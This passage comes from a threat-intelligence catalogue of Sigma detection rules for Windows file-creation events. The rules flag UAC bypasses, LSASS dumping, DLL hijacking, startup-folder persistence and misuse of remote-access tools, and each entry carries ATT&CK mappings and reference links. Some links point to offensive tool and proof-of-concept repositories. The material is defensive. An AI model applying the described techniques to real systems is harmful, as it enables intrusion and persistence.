Detects the creation of a file with the ".dmp"/".hdmp" extension by a shell or scripting application such as "cmd", "powershell", etc. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious DMP/HDMP File Creation"*

Table 14689. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dump_file_susp_creation.yml

Legitimate Application Writing Files In Uncommon Location

Detects legitimate applications writing any type of file to uncommon or suspicious locations that are not typical for application data storage or execution. Adversaries may leverage legitimate applications (Living off the Land Binaries - LOLBins) to drop or download malicious files to uncommon locations on the system to evade detection by security solutions.

The tag is: *misp-galaxy:sigma-rules="Legitimate Application Writing Files In Uncommon Location"*

View relationships graph

Legitimate Application Writing Files In Uncommon Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 14690. Table References

Links
<a href="https://lolbas-project.github.io/<mark>/download">https://lolbas-project.github.io/</mark>/download
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_in_uncommon_location.yml

UAC Bypass Using IDiagnostic Profile - File

Detects the creation of a file by "dllhost.exe" in System32 directory part of "IDiagnosticProfileUAC" UAC bypass technique

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using IDiagnostic Profile - File"*

View relationships graph

UAC Bypass Using IDiagnostic Profile - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14691. Table References

Links
https://github.com/Wh04m1001/IDiagnosticProfileUAC
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_idiagnostic_profile.yml

Assembly DLL Creation Via AspNetCompiler

Detects the creation of new DLL assembly files by "aspnet_compiler.exe", which could be a sign of "aspnet_compiler" abuse to proxy execution through a build provider.

The tag is: *misp-galaxy:sigma-rules="Assembly DLL Creation Via AspNetCompiler"*

Table 14692. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_aspnet_temp_files.yml

AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File

Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)

The tag is: *misp-galaxy:sigma-rules="AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File"*

View relationships graph

AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 14693. Table References

Links

https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml

Suspicious Desktopimgdownldr Target File

Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension

The tag is: *misp-galaxy:sigma-rules="Suspicious Desktopimgdownldr Target File"*

View relationships graph

Suspicious Desktopimgdownldr Target File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 14694. Table References

Links
https://twitter.com/SBousseaden/status/1278977301745741825
https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml

Installation of TeamViewer Desktop

TeamViewer_Desktop.exe is create during install

The tag is: *misp-galaxy:sigma-rules="Installation of TeamViewer Desktop"*

View relationships graph

Installation of TeamViewer Desktop has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14695. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-1---teamviewer-files-detected-test-on-windows

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_install_teamviewer_desktop.yml

HackTool - SafetyKatz Dump Indicator

Detects default lsass dump filename generated by SafetyKatz.

The tag is: *misp-galaxy:sigma-rules="HackTool - SafetyKatz Dump Indicator"*

View relationships graph

HackTool - SafetyKatz Dump Indicator has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14696. Table References

Links
https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63
https://github.com/GhostPack/SafetyKatz
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_safetykatz.yml

.RDP File Created By Uncommon Application

Detects creation of a file with an ".rdp" extension by an application that doesn't commonly create such files.

The tag is: *misp-galaxy:sigma-rules=".RDP File Created By Uncommon Application"*

Table 14697. Table References

Links
https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/
https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rdp_file_susp_creation.yml

UAC Bypass Using Windows Media Player - File

Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using Windows Media Player - File"*

View relationships graph

UAC Bypass Using Windows Media Player - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14698. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml

Suspicious Interactive PowerShell as SYSTEM

Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context

The tag is: *misp-galaxy:sigma-rules="Suspicious Interactive PowerShell as SYSTEM"*

View relationships graph

Suspicious Interactive PowerShell as SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14699. Table References

Links
https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_system_interactive_powershell.yml

Legitimate Application Dropped Archive

Detects programs on a Windows system that should not write an archive to disk

The tag is: *misp-galaxy:sigma-rules="Legitimate Application Dropped Archive"*

View relationships graph

Legitimate Application Dropped Archive has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14700. Table References

Links
https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_archive.yml

PowerShell Module File Created

Detects the creation of a new PowerShell module ".psm1", ".psd1", ".dll", ".ps1", etc.

The tag is: *misp-galaxy:sigma-rules="PowerShell Module File Created"*

Table 14701. Table References

Links
https://learn.microsoft.com/en-us/powershell/scripting/developer/module/understanding-a-windows-powershell-module?view=powershell-7.3
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_module_creation.yml

UAC Bypass Abusing Winsat Path Parsing - File

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Abusing Winsat Path Parsing - File"*

View relationships graph

UAC Bypass Abusing Winsat Path Parsing - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14702. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml

Suspicious ASPX File Drop by Exchange

Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder

The tag is: *misp-galaxy:sigma-rules="Suspicious ASPX File Drop by Exchange"*

View relationships graph

Suspicious ASPX File Drop by Exchange has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 14703. Table References

Links
https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html
https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html
https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml

Self Extraction Directive File Created In Potentially Suspicious Location

Detects the creation of Self Extraction Directive files (.sed) in a potentially suspicious location. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries.

The tag is: *misp-galaxy:sigma-rules="Self Extraction Directive File Created In Potentially Suspicious Location"*

View relationships graph

Self Extraction Directive File Created In Potentially Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14704. Table References

Links
https://en.wikipedia.org/wiki/IExpress
https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior
https://strontic.github.io/xcyclopedia/library/iexpress.exe-D594B2A33EFAFD0EABF09E3FDC05FCEA.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sed_file_creation.yml

Suspicious PROCEXP152.sys File Created In TMP

Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder. This driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.

The tag is: *misp-galaxy:sigma-rules="Suspicious PROCEXP152.sys File Created In TMP"*

View relationships graph

Suspicious PROCEXP152.sys File Created In TMP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14705. Table References

Links
https://web.archive.org/web/20230331181619/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml

Suspicious Binary Writes Via AnyDesk

Detects AnyDesk writing binary files to disk other than "gcapi.dll". According to RedCanary research it is highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll, which is a legitimate DLL that is part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)

The tag is: *misp-galaxy:sigma-rules="Suspicious Binary Writes Via AnyDesk"*

View relationships graph

Suspicious Binary Writes Via AnyDesk has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14706. Table References

Links
https://thedfirreport.com/2025/02/24/confluence-exploit-leads-to-lockbit-ransomware/
https://redcanary.com/blog/misbehaving-rats/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_writing_susp_binaries.yml

Potential File Extension Spoofing Using Right-to-Left Override

Detects suspicious filenames that contain a right-to-left override character and a potentially spoofed file extensions.

The tag is: *misp-galaxy:sigma-rules="Potential File Extension Spoofing Using Right-to-Left Override"*

View relationships graph

Potential File Extension Spoofing Using Right-to-Left Override has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Right-to-Left Override - T1036.002" with estimative-language:likelihood-probability="almost-certain"

Table 14707. Table References

Links
https://www.malwarebytes.com/blog/news/2014/01/the-rtlo-method
https://tria.ge/241015-l98snsyeje/behavioral2
https://www.unicode.org/versions/Unicode5.2.0/ch02.pdf
https://redcanary.com/blog/right-to-left-override/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_right_to_left_override_extension_spoofing.yml

WinSxS Executable File Creation By Non-System Process

Detects the creation of binaries in the WinSxS folder by non-system processes

The tag is: *misp-galaxy:sigma-rules="WinSxS Executable File Creation By Non-System Process"*

Table 14708. Table References

Links
https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_winsxs_binary_creation.yml

Suspicious File Creation In Uncommon AppData Folder

Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be

used as a method to bypass detection who exclude the AppData folder in fear of FPs

The tag is: *misp-galaxy:sigma-rules="Suspicious File Creation In Uncommon AppData Folder"*

Table 14709. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml

DLL Search Order Hijackig Via Additional Space in Path

Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...) but with a space in order to trick DLL load search order and perform a "DLL Search Order Hijacking" attack

The tag is: *misp-galaxy:sigma-rules="DLL Search Order Hijackig Via Additional Space in Path"*

View relationships graph

DLL Search Order Hijackig Via Additional Space in Path has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 14710. Table References

Links
https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows
https://twitter.com/cyb3rops/status/1552932770464292864
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml

Advanced IP Scanner - File Event

Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.

The tag is: *misp-galaxy:sigma-rules="Advanced IP Scanner - File Event"*

View relationships graph

Advanced IP Scanner - File Event has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 14711. Table References

Links
https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer
https://labs.f-secure.com/blog/prelude-to-ransomware-systembc
https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/
https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml

VHD Image Download Via Browser

Detects creation of ".vhd"/".vhdx" files by browser processes. Malware can use mountable Virtual Hard Disk ".vhd" files to encapsulate payloads and evade security controls.

The tag is: *misp-galaxy:sigma-rules="VHD Image Download Via Browser"*

View relationships graph

VHD Image Download Via Browser has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

Table 14712. Table References

Links
https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/
https://redcanary.com/blog/intelligence-insights-october-2021/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vhd_download_via_browsers.yml

LiveKD Kernel Memory Dump File Created

Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.

The tag is: *misp-galaxy:sigma-rules="LiveKD Kernel Memory Dump File Created"*

Table 14713. Table References

Links

Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_default_dump_name.yml

Suspicious Screensaver Binary File Creation

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension

The tag is: *misp-galaxy:sigma-rules="Suspicious Screensaver Binary File Creation"*

View relationships graph

Suspicious Screensaver Binary File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002" with estimative-language:likelihood-probability="almost-certain"

Table 14714. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_scr_binary_file.yml

Creation of a Diagcab

Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)

The tag is: *misp-galaxy:sigma-rules="Creation of a Diagcab"*

Table 14715. Table References

Links
https://threadreaderapp.com/thread/1533879688141086720.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml

GatherNetworkInfo.VBS Reconnaissance Script Output

Detects creation of files which are the results of executing the built-in reconnaissance script "C:\Windows\System32\gatherNetworkInfo.vbs".

The tag is: *misp-galaxy:sigma-rules="GatherNetworkInfo.VBS Reconnaissance Script Output"*

Table 14716. Table References

Links
https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government
https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lolbin_gather_network_info_script_output.yml

RemCom Service File Creation

Detects default RemCom service filename which indicates RemCom service installation and execution

The tag is: *misp-galaxy:sigma-rules="RemCom Service File Creation"*

View relationships graph

RemCom Service File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14717. Table References

Links
https://github.com/kavika13/RemCom/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remcom_service.yml

Anydesk Temporary Artefact

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="Anydesk Temporary Artefact"*

View relationships graph

Anydesk Temporary Artefact has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14718. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_artefact.yml

Suspicious Creation with Colorcpl

Once executed, colorcpl.exe will copy the arbitrary file to c:\windows\system32\spool\drivers\color\

The tag is: *misp-galaxy:sigma-rules="Suspicious Creation with Colorcpl"*

View relationships graph

Suspicious Creation with Colorcpl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"

Table 14719. Table References

Links
https://twitter.com/eral4m/status/1480468728324231172?s=20
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml

WinRAR Creating Files in Startup Locations

Detects WinRAR creating files in Windows startup locations, which may indicate an attempt to establish persistence by adding malicious files to the Startup folder. This kind of behaviour has been associated with exploitation of WinRAR path traversal vulnerability CVE-2025-6218 or CVE-2025-8088.

The tag is: *misp-galaxy:sigma-rules="WinRAR Creating Files in Startup Locations"*

View relationships graph

WinRAR Creating Files in Startup Locations has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14720. Table References

Links
https://github.com/mulwareX/CVE-2025-6218-POC

https://x.com/0x534c/status/1944694507787710685
https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winrar_file_creation_in_startup_folder.yml

HackTool - RemoteKrbRelay SMB Relay Secrets Dump Module Indicators

Detects the creation of file with specific names used by RemoteKrbRelay SMB Relay attack module.

The tag is: *misp-galaxy:sigma-rules="HackTool - RemoteKrbRelay SMB Relay Secrets Dump Module Indicators"*

View relationships graph

HackTool - RemoteKrbRelay SMB Relay Secrets Dump Module Indicators has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14721. Table References

Links
https://github.com/CICADA8-Research/RemoteKrbRelay/blob/19ec76ba7aa50c2722b23359bc4541c0a9b2611c/Exploit/RemoteKrbRelay/Relay/Attacks/RemoteRegistry.cs#L31-L40
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_krbrelay_remote_ioc.yml

Process Monitor Driver Creation By Non-Sysinternals Binary

Detects creation of the Process Monitor driver by processes other than Process Monitor (procmon) itself.

The tag is: *misp-galaxy:sigma-rules="Process Monitor Driver Creation By Non-Sysinternals Binary"*

View relationships graph

Process Monitor Driver Creation By Non-Sysinternals Binary has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 14722. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_procmon_driver_susp_creation.yml

Potential Persistence Via Microsoft Office Startup Folder

Detects creation of Microsoft Office files inside of one of the default startup folders in order to achieve persistence.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Microsoft Office Startup Folder"*

View relationships graph

Potential Persistence Via Microsoft Office Startup Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

Table 14723. Table References

Links
https://learn.microsoft.com/en-us/office/troubleshoot/excel/use-startup-folders
https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_startup_persistence.yml

Process Explorer Driver Creation By Non-Sysinternals Binary

Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself. Hack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.

The tag is: *misp-galaxy:sigma-rules="Process Explorer Driver Creation By Non-Sysinternals Binary"*

View relationships graph

Process Explorer Driver Creation By Non-Sysinternals Binary has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 14724. Table References

Links
https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/
https://github.com/Yaxser/Backstab
https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer
https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_procexp_driver_susp_creation.yml

Creation of WerFault.exe/Wer.dll in Unusual Folder

Detects the creation of a file named "WerFault.exe" or "wer.dll" in an uncommon folder, which could be a sign of WerFault DLL hijacking.

The tag is: *misp-galaxy:sigma-rules="Creation of WerFault.exe/Wer.dll in Unusual Folder"*

View relationships graph

Creation of WerFault.exe/Wer.dll in Unusual Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 14725. Table References

Links
https://www.bleepingcomputer.com/news/security/hackers-are-now-hiding-malware-in-windows-event-logs/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_werfault_dll_hijacking.yml

WMI Persistence - Script Event Consumer File Write

Detects file writes of WMI script event consumer

The tag is: *misp-galaxy:sigma-rules="WMI Persistence - Script Event Consumer File Write"*

View relationships graph

WMI Persistence - Script Event Consumer File Write has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 14726. Table References

Links

https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmi_persistence_script_event_consumer_write.yml

Suspicious Startup Folder Persistence

Detects the creation of potentially malicious script and executable files in Windows startup folders, which is a common persistence technique used by threat actors. These files (.ps1, .vbs, .js, .bat, etc.) are automatically executed when a user logs in, making the Startup folder an attractive target for attackers. This technique is frequently observed in malvertising campaigns and malware distribution where attackers attempt to maintain long-term access to compromised systems.

The tag is: *misp-galaxy:sigma-rules="Suspicious Startup Folder Persistence"*

View relationships graph

Suspicious Startup Folder Persistence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14727. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/
https://github.com/redcanaryco/atomic-red-team/blob/5ede8f21e42ebe37e0a6eff757dba60bcfa85859/atomics/T1547.001/T1547.001.md
https://github.com/last-byte/PersistenceSniper
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_startup_folder_persistence.yml

Startup Folder File Write

A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.

The tag is: *misp-galaxy:sigma-rules="Startup Folder File Write"*

View relationships graph

Startup Folder File Write has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14728. Table References

Links
https://github.com/OTRF/detection-hackathon-apt29/issues/12
https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_startup_folder_file_write.yml

PsExec Service File Creation

Detects default PsExec service filename which indicates PsExec service installation and execution

The tag is: *misp-galaxy:sigma-rules="PsExec Service File Creation"*

View relationships graph

PsExec Service File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 14729. Table References

Links
https://jpcertcc.github.io/ToolAnalysisResultSheet
https://www.jpcert.or.jp/english/pub/sr/ir_research.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_psexec_service.yml

Potential Persistence Via Microsoft Office Add-In

Detects potential persistence activity via startup add-ins that load when Microsoft Office starts (.wll/.xll are simply .dll fit for Word or Excel).

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Microsoft Office Add-In"*

View relationships graph

Potential Persistence Via Microsoft Office Add-In has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Add-ins - T1137.006" with estimative-language:likelihood-probability="almost-certain"

Table 14730. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md
https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_addin_persistence.yml

OneNote Attachment File Dropped In Suspicious Location

Detects creation of files with the ".one"/".onepkg" extension in suspicious or uncommon locations. This could be a sign of attackers abusing OneNote attachments

The tag is: *misp-galaxy:sigma-rules="OneNote Attachment File Dropped In Suspicious Location"*

Table 14731. Table References

Links
https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/
https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_onenote_files_in_susp_locations.yml

Suspicious DotNET CLR Usage Log Artifact

Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.

The tag is: *misp-galaxy:sigma-rules="Suspicious DotNET CLR Usage Log Artifact"*

View relationships graph

Suspicious DotNET CLR Usage Log Artifact has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14732. Table References

Links
https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/
https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008

https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html
